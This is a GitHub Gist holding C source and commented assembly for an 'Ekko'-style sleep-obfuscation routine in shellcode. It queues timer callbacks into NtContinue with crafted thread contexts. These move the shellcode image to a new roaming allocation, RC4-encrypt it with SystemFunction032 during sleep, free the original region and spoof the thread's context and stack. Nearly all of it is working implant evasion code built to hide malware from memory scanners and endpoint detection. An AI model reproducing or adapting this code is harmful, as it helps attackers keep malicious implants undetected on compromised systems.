Last active
September 28, 2024 02:27
-
-
Save susMdT/a10b35e3c06d8837d0260cdfc496c587 to your computer and use it in GitHub Desktop.
hahaha da shellcode go brrrr
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <Core.h> | |
#include <Win32.h> | |
#include <Structs.h> | |
#include <Sleep.h> | |
#include <Utils.h> | |
SEC( text, C ) VOID Ekko ( DWORD SleepTime, PINSTANCE Instance) | |
{ | |
NTSTATUS status = 0; | |
CONTEXT CtxThread = { 0 }; | |
CONTEXT SpoofContext= { 0 }; | |
CONTEXT RopStart = { 0 }; | |
CONTEXT RopMov = { 0 }; | |
CONTEXT RopMemEnc = { 0 }; | |
CONTEXT RopBackup = { 0 }; | |
CONTEXT RopFree = { 0 }; | |
CONTEXT RopSpoof = { 0 }; | |
CONTEXT RopFix = { 0 }; | |
CONTEXT RopDelay = { 0 }; | |
CONTEXT RopMemDec = { 0 }; | |
CONTEXT RopProtRX = { 0 }; | |
CONTEXT RopSetEvt = { 0 }; | |
HANDLE hTimerQueue = NULL; | |
HANDLE hNewTimer = NULL; | |
HANDLE EventTimer = { 0 }; | |
HANDLE EventStart = { 0 }; | |
HANDLE EventEnd = { 0 }; | |
PVOID ImageBase = NULL; | |
DWORD ImageSize = 0; | |
DWORD OldProtect = 0x6969; | |
PVOID NewImageBase = NULL; | |
// Can be randomly generated | |
CHAR KeyBuf[ 16 ]= { 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55 }; | |
USTRING Key = { 0 }; | |
USTRING Img = { 0 }; | |
PVOID NtContinue = NULL; | |
PVOID SysFunc032 = NULL; | |
// For 4th arg, NotificationEvent = 0 | |
// PUtting && here somehow made only the first event create | |
if ( Instance->Win32.NtCreateEvent( &EventStart, EVENT_ALL_ACCESS, NULL, 0, 0 ) != 0 || | |
Instance->Win32.NtCreateEvent( &EventEnd, EVENT_ALL_ACCESS, NULL, 0, 0 ) != 0 || | |
Instance->Win32.NtCreateEvent( &EventTimer, EVENT_ALL_ACCESS, NULL, 0, 0 ) != 0 ) | |
{ | |
Instance->Win32.printf( "[ERROR] Failed to create events" ); | |
return; | |
} | |
Instance->Win32.RtlCreateTimerQueue( &hTimerQueue) ; // https://doxygen.reactos.org/d8/dd5/ndk_2rtlfuncs_8h.html#a3c33cfe4a773cc54ead6d284427bc12c | |
ImageBase = (PBYTE)((SIZE_T)Start + 0x1 ); // For some fucking reason if i just do start, it resolves to 0. but +0x1 and then -0x1 works??? | |
ImageBase -= 0x1; | |
ImageSize = (PVOID)( (SIZE_T)GetRIPEnd) - ImageBase; //Theres a few bytes at the end that this misses but thats fiiiiiine right? | |
Instance->Win32.printf( "[INFO] ImageBase is 0x%llx\n", ImageBase ); | |
Instance->Win32.printf( "[INFO] ImageSize is 0x%llx\n", ImageSize ); | |
Key.Buffer = KeyBuf; | |
Key.Length = Key.MaximumLength = 16; | |
//CtxThread.ContextFlags = CONTEXT_FULL; | |
// https://doxygen.reactos.org/df/d53/dll_2win32_2kernel32_2client_2timerqueue_8c.html#a1a76d5f2b6b9 | |
if (Instance->Win32.RtlCreateTimer( hTimerQueue, &hNewTimer, Instance->Win32.RtlCaptureContext, &CtxThread, 100, 0, WT_EXECUTEINTIMERTHREAD ) == 0 && | |
Instance->Win32.RtlCreateTimer( hTimerQueue, &hNewTimer, Instance->Win32.NtSetEvent, EventTimer, 200, 0, WT_EXECUTEINTIMERTHREAD ) == 0) | |
{ | |
LARGE_INTEGER li = { 0 }; | |
li.QuadPart = (long)-1000000L * ( (long)2 ); //-10000000L = 1 second | |
Instance->Win32.printf("[Info] Waiting up to .2 second for timer to trigger\n"); | |
Instance->Win32.NtWaitForSingleObject( EventTimer, 0, &li ); | |
// VX-API OP | |
CopyMemoryEx( &SpoofContext, &CtxThread, sizeof( CONTEXT ) ); // Crash on second iteration (oh its cause i put copymemoryex on the wrong .text section LMFAO) | |
CopyMemoryEx( &RopStart, &CtxThread, sizeof( CONTEXT ) ); | |
CopyMemoryEx( &RopMov, &CtxThread, sizeof( CONTEXT ) ); | |
CopyMemoryEx( &RopMemEnc, &CtxThread, sizeof( CONTEXT ) ); | |
CopyMemoryEx( &RopFree , &CtxThread, sizeof( CONTEXT ) ); | |
CopyMemoryEx( &RopBackup, &CtxThread, sizeof( CONTEXT ) ); | |
CopyMemoryEx( &RopSpoof, &CtxThread, sizeof( CONTEXT ) ); | |
CopyMemoryEx( &RopDelay, &CtxThread, sizeof( CONTEXT ) ); | |
CopyMemoryEx( &RopMemDec, &CtxThread, sizeof( CONTEXT ) ); | |
CopyMemoryEx( &RopFix, &CtxThread, sizeof( CONTEXT ) ); | |
CopyMemoryEx( &RopProtRX, &CtxThread, sizeof( CONTEXT ) ); | |
CopyMemoryEx( &RopSetEvt, &CtxThread, sizeof( CONTEXT ) ); | |
Instance->Win32.printf( "[INFO] Allocating RW memory\n" ); | |
NewImageBase = Instance->Win32.VirtualAlloc(Instance->Location, ImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); | |
Instance->Location = (PBYTE)(NewImageBase) + 0x10000; // This way it roams. Probably gonna hit a shitshow when it reaches a certain number. We don't talk about that. | |
Instance->Win32.printf( "[INFO] Shellcode will move to 0x%llx\n", NewImageBase ); | |
Img.Buffer = NewImageBase; | |
Img.Length = Img.MaximumLength = ImageSize; | |
/* Now we set up the contexts that will be fed to the timers */ | |
// NtWaitForSingleObject( EventTimer, 0, NULL ) | |
RopStart.Rsp -= 8; | |
RopStart.Rip = Instance->Win32.NtWaitForSingleObject; | |
RopStart.Rcx = EventStart; | |
RopStart.Rdx = 0; | |
RopStart.R8 = NULL; | |
// RtlMoveMemory( Destination, Source, Length) | |
RopMov.Rsp -= 8; | |
RopMov.Rip = Instance->Win32.nRtlMoveMemory; | |
RopMov.Rcx = NewImageBase; | |
RopMov.Rdx = ImageBase; | |
RopMov.R8 = ImageSize; | |
// SystemFunction032( &Key, &Img ); | |
RopMemEnc.Rsp -= 8; | |
RopMemEnc.Rip = Instance->Win32.SystemFunction032; | |
RopMemEnc.Rcx = &Img; | |
RopMemEnc.Rdx = &Key; | |
// NtFreeVirtualMemory(ProcessHandle, &BaseAddress, REgionSize, FreeType) | |
SIZE_T temp = 0; | |
RopFree.Rsp -= 8; | |
RopFree.Rip = Instance->Win32.NtFreeVirtualMemory; | |
RopFree.Rcx = NtCurrentProcess(); | |
RopFree.Rdx = &ImageBase; | |
RopFree.R8 = &temp; | |
RopFree.R9 = MEM_RELEASE; | |
// "Spoof" the call stack while sleeping by capturing context and making the sleeping thread look like its not sleeping? | |
// Our spoofed stack will be pointed to NtTib StackBase and the RIP will be the one from the context backed up during ROP | |
HANDLE hDupThandle; | |
status = Instance->Win32.NtDuplicateObject( NtCurrentProcess(), NtCurrentThread(), NtCurrentProcess(), &hDupThandle, THREAD_ALL_ACCESS, 0, 0 ); | |
SpoofContext.Rip = Instance->Win32.NtWaitForSingleObject; | |
SpoofContext.Rsp = NtCurrentTeb()->NtTib.StackBase; | |
// Back up the current context (mid sleep) | |
// NtGetContextThread( ThreadHandle, &Context ); | |
CONTEXT BackupContext = { 0 }; | |
BackupContext.ContextFlags = CONTEXT_FULL; | |
RopBackup.Rsp -= 8; | |
RopBackup.Rip = Instance->Win32.NtGetContextThread; | |
RopBackup.Rcx = hDupThandle; | |
RopBackup.Rdx = &BackupContext; | |
// Capturing current context (mid timer setup) and using it to mask the sleep status. | |
// NtSetContextThread( ThreadHandle, &Context ); | |
RopSpoof.Rsp -= 8; | |
RopSpoof.Rip = Instance->Win32.NtSetContextThread; | |
RopSpoof.Rcx = hDupThandle; | |
RopSpoof.Rdx = &SpoofContext; | |
// * sleepy sounds * | |
// NtWaitForSingleObject( hTargetHdl, BOOL alertable, PLARGE_INTEGER SleepTime ); | |
li.QuadPart = (long)-10000000L * ((long)SleepTime / 1000 ); // -10000000L = 1 second, and our sleeptime is in milliseconds | |
RopDelay.Rsp -= 8; | |
RopDelay.Rip = Instance->Win32.NtDelayExecution; | |
RopDelay.Rcx = FALSE; | |
RopDelay.Rdx = &li; | |
// SystemFunction032( &Key, &Img ); | |
RopMemDec.Rsp -= 8; | |
RopMemDec.Rip = Instance->Win32.SystemFunction032; | |
RopMemDec.Rcx = &Img; | |
RopMemDec.Rdx = &Key; | |
// Fix it so we don't explode | |
// NtSetContextThread( ThreadHandle, &Context ); | |
RopFix.Rsp -= 8; | |
RopFix.Rip = Instance->Win32.NtSetContextThread; | |
RopFix.Rcx = hDupThandle; | |
RopFix.Rdx = &BackupContext; | |
/* Changing to RX */ | |
RopProtRX.Rsp -= 8; | |
RopProtRX.Rip = Instance->Win32.VirtualProtect; | |
RopProtRX.Rcx = NewImageBase; | |
RopProtRX.Rdx = Img.Length; | |
RopProtRX.R8 = PAGE_EXECUTE_READ; | |
RopProtRX.R9 = &OldProtect; | |
// SetEvent( hEvent ); | |
RopSetEvt.Rsp -= 8; | |
RopSetEvt.Rip = Instance->Win32.NtSetEvent; | |
RopSetEvt.Rcx = EventEnd; | |
RopSetEvt.Rdx = NULL; | |
Instance->Win32.printf( "[INFO] Queue timers\n" ); | |
Instance->Win32.RtlCreateTimer( hTimerQueue, &hNewTimer, Instance->Win32.NtContinue, &RopStart, 100, 0, WT_EXECUTEINTIMERTHREAD ); | |
Instance->Win32.RtlCreateTimer( hTimerQueue, &hNewTimer, Instance->Win32.NtContinue, &RopMov, 200, 0, WT_EXECUTEINTIMERTHREAD ); | |
Instance->Win32.RtlCreateTimer( hTimerQueue, &hNewTimer, Instance->Win32.NtContinue, &RopMemEnc, 300, 0, WT_EXECUTEINTIMERTHREAD ); | |
Instance->Win32.RtlCreateTimer( hTimerQueue, &hNewTimer, Instance->Win32.NtContinue, &RopFree, 400, 0, WT_EXECUTEINTIMERTHREAD ); | |
Instance->Win32.RtlCreateTimer( hTimerQueue, &hNewTimer, Instance->Win32.NtContinue, &RopBackup, 500, 0, WT_EXECUTEINTIMERTHREAD ); | |
Instance->Win32.RtlCreateTimer( hTimerQueue, &hNewTimer, Instance->Win32.NtContinue, &RopSpoof, 600, 0, WT_EXECUTEINTIMERTHREAD ); | |
Instance->Win32.RtlCreateTimer( hTimerQueue, &hNewTimer, Instance->Win32.NtContinue, &RopDelay, 700, 0, WT_EXECUTEINTIMERTHREAD ); | |
Instance->Win32.RtlCreateTimer( hTimerQueue, &hNewTimer, Instance->Win32.NtContinue, &RopFix, 800, 0, WT_EXECUTEINTIMERTHREAD ); | |
Instance->Win32.RtlCreateTimer( hTimerQueue, &hNewTimer, Instance->Win32.NtContinue, &RopMemDec, 900, 0, WT_EXECUTEINTIMERTHREAD ); | |
Instance->Win32.RtlCreateTimer( hTimerQueue, &hNewTimer, Instance->Win32.NtContinue, &RopProtRX, 1000, 0, WT_EXECUTEINTIMERTHREAD ); | |
Instance->Win32.RtlCreateTimer( hTimerQueue, &hNewTimer, Instance->Win32.NtContinue, &RopSetEvt, 1100, 0, WT_EXECUTEINTIMERTHREAD ); | |
Instance->Win32.printf( "[INFO] Wait for EventEnd\n" ); | |
HELPER h = { 0 }; | |
h.NtSignalAndWaitForSingleObject = Instance->Win32.NtSignalAndWaitForSingleObject; | |
h.Arg1 = EventStart; | |
h.Arg2 = EventEnd; | |
h.Arg3 = 0; | |
h.Arg4 = NULL; | |
h.NewImageBase = NewImageBase; | |
h.ImageBase = ImageBase; | |
StartSleep(h); | |
Instance->Win32.printf( "[INFO] Finished waiting for event\n" ); | |
} | |
Instance->Win32.RtlDeleteTimerQueueEx( hTimerQueue, 0 ); | |
Instance->Win32.printf( "[INFO] Og return at 0x%llx\n", __builtin_return_address(0) ); | |
FixRetAddr(ImageBase, NewImageBase); // For some reason, r12 is being moved into rdx instead of some stack offset. | |
Instance->Win32.printf( "[INFO] Returning to main at 0x%llx\n", __builtin_return_address(0) ); | |
} | |
// Asm for FixRetAddr | |
// I cannot guarantee this is safe cause i suck at assembly LMFAO | |
/* | |
section .text$C | |
FixRetAddr: | |
mov r8, [rbp + 0x8] | |
sub r8, rcx | |
add r8, rdx | |
mov [rbp + 0x8], r8 | |
ret | |
*/ | |
// Asm for StartSleep | |
/* | |
;typedef struct | |
;{ | |
; PVOID NtSignalAndWaitForSingleObject; 0x00 | |
; PVOID Arg1; 0x08 | |
; PVOID Arg2; 0x10 | |
; PVOID Arg3; 0x18 | |
; PVOID Arg4; 0x20 | |
; PVOID NewImageBase; 0x28 | |
; PVOID ImageBase; 0x30 | |
;} HELPER, *PHELPER; | |
section .text$C | |
StartSleep: | |
; Hold return address in r14 | |
pop r14 | |
; Store original r12 | |
push r12 | |
mov r12, rcx | |
mov r13, [r12] | |
mov rcx, [r12 + 0x08] | |
mov rdx, [r12 + 0x10] | |
mov r8, [r12 + 0x18] | |
mov r9, [r12 + 0x20] | |
; Find our current return address offset from shellcode base, then add that to the NewImageBase | |
sub r14, [r12 + 0x30] | |
add r14, [r12 + 0x28] | |
; Restore r12 | |
pop r12 | |
; push the fixed return address | |
push r14 | |
; jmp to NtSignalAndWaitForSingleObject | |
jmp r13 | |
*/ |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment